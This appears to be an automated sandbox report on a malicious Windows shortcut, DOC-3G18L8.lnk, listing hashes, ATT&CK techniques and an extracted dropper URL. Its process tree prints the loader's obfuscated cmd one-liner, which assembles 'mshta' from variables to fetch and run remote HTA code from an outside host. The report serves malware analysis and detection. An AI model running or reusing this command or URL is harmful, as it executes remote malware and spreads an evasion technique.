1ab9bfa8c9c77dad2ec7d0f1c16cbdf0938cac08f5a0d03e59f01efedc4039ec

Analysis

max time kernel
38s
max time network
25s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 21:46

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General

Target
DOC-3G18L8.lnk
Size 1KB
Sample260803-1m17msgc54
SHA256 1ab9bfa8c9c77dad2ec7d0f1c16cbdf0938cac08f5a0d03e59f01efedc4039ec
MD5 413732c6e32fa685dc98de69937bfce5
SHA1 4b588925d2b2ef36225ba58f27b025184c53b826
SHA512 e5263684f462ae2ace62fea4982858e905574dc06831ee8b31a0be33cfbe562f69bbdb4b576b803db04b4feabf34bb9f2e08889c612c4f8b45c99cd1e0b88d0f
TLSH
T12C3164103EFD0628F3B39E7680BB6B2489BEB9668D10DA1E0140860D1432A01E27AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2764	cmd.exe
4156	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2764 wrote to memory of 4156	2764	cmd.exe	90
PID 4156 wrote to memory of 5288	4156	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-3G18L8.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2764
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set YXNo=msh&&set IhrR=ta&&start "" !YXNo!!IhrR! https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4156
- - C:\Windows\System32\mshta.exe
    mshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
    3⤵
    PID:5288

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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